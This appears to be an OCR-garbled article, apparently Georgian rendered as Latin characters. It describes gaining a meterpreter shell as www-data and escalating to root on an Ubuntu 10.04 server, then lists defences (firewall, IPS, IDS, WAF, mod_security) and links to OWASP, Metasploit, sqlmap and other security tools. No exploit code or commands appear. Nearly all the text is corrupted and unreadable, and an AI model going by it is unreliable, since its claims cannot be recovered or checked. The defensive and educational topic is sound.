$300m0s, 033 9BOMMEo TgLodegdemdId0m, oAb ByMzgMby shell-o 458393900
00 dmdbdoM9g0om, MHMIWoms3 Ingsb0bgm LooEHOL gd3evsdsE0s, 59 d9dmbggzsdo www-
data 3mdbdsMgdeom. 53 ImdbIoMmgdgel 30 Lol gdsdo root-ols MGBEGdGIO 56 2556605 s
39D0MMwo 543L HMAMOE LOLEIIMO BS0EYGODY, S1939 I60TZ69M36 dBGMIIBYO9dbY
0300m0s. 99900920 93930 3M:030gA09O0L 5850GdSs, Fog™d gl Lygombo (300905 gdols
RO q0L. 36sbmom Mo dgderos meterpreter shell-b:

Disable:
Enables
Terminate

Lb350slb3s LobvMRgd™ 5364309006 ghmo sbsbodbsgos dgdgyo: drop to shell,
O0Igeoi sOLgdMeo shell-ol ds0369 LobBgdm@o shell-ob godmygbgdols Lsdrsegdsls
3353¢93L. 3M3dsbgdol 3593930L 8999 3034MBJOI0M SOLYIYO 306 EYSIMHO FobJsbols -



Ubuntu 10.04-0b 3969380, G5 335302930 M53c0gdsl Gemd 990fg35000md0b @glidoMgds
§o605390o Bogmazsmmo.

Q5336

OMaO3 BoBoM90Mds 990(93500Md0L FgliE0Mgdsd sB39b6s, LoLmLEob 9993390 Loo@ol
99395@ 5305 L3050 FoMBH0305 M93MMBIOMbIE0 50 530569dOLMZOLSE 30 LYIMOCM
3659900l 259tmgqbgd0m. 390 53¢0035(30590 OGO gOHMO LOLYLEAEI3E 30 Fgodegds
dOHMB5© 3odmygbgdmo odbsls dglsdg 3060l Joge, 5doEHME OO YIMs®Ids b
390939L MBOBOMBMYGOOL Bo30mbgdl. LsoE ol MBsrMMbMgdol MBEOWY639wlsYmTBS©
53090905 A5M35¢olobgdeo 0465l olgmo gegdgbE M) LodTomgdol Bo@e®mgds,
OQMOMGO0(359:

1. 39B5begdgdol Mmms ©ggbgds, 046995 gl Lbgsslibgs bLg®mzoligdol, Loo@ol
365308 M) 3960530990 LobEBgdolb gobsbangds.

2. bgH39mBY pEMdI YO0 Jigrrosh Ybe Yo YbEs ogmb fizEmds gggws
365b5FoMOM 30 EHBY.

3. byM39M0l 2obms3Lgds LoFoMmms 39bGH®smEO firewall-ol v)356.

4. doM0050 993939008 0530056 SBsE30MYdIWIE M9)30mTgboMgdYos IPS-9d0l
399mygbgds. IPS-9d0 d¢rm 35396 0ligo 939390L OMYMOgdO3ss syn-flood-o, port-scan-
0, application level ddos, 515939 BowGH®396 BHMBOIL - signature-9dHy
©994MEbMI0M deMm35396 5GMLOLIMZ9 56/5 BogF3m BHEMOBOIL.
3oLOM35eolobgdgeros, G IPS-U dgodergds dg36o false-positive 2586l o
390092900 ©03M3IML HRMOF 5M5E9R0EGH0TNO0 51939 WIR0EGH0FNOO BHEMSBOIOL
Bofoero.

5. IPS-90m56 gbmo IDS-9d0l 0sbgtpy3s s 8999 dsmo alert-9dol sbscrobo oo
399X M09gLYIL MLsROMbMGdIOL boGolbL.

6. 91939 LEOEHIOOL I330L boMOLbOL LoV GIWSE 45TM0Ygbgds WAF-gd0. Web
Application Firewall-0 9909935 0gmb 1350560 96 mg3slim. »a35Lmgdl ol
9300960M9dM0s mod_security, Mmdgero apache-U 890mbggzsdo, dols



9mEe© Y4969ds. WAF-900 Lso@ob «lsgmmbmgdol mbgl Lozdom sdswegdgb,
5996 35000 3905 306309EH0 530353008m30L bgds. mod_security-ls
3900b3935d0 Iglodergdgeros custom rule-9dol sfgeos, s6LYdMEgdOL BobimMgds s
05415 IMHE 53¢035305DY FMEIYGDS.

7. Lso@ob 30 1bs 0gmb sfgMowo MLsxzMmMHM9dOL bmMIgdoL Jsm3zseolobgdom

o0bzgdo:

https://www.owasp.org/index.php/Top 10 2017-Top 10

https://sourceforge.net/projects/owaspbwa/files/1.2/

https://cirt.net/Nikto2

https://github.com/rezasp/joomscan

https://wpscan.org/

http://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/

http://sqlmap.org/

https://www.acunetix.com/

https://www.tenable.com/products/nessus-vulnerability-scanner/

https://www.torproject.org/

https://nmap.org/

https://www.metasploit.com/

https://shodan.io/

http://www.pentesteracademy.com/

https://www.offensive-security.com/
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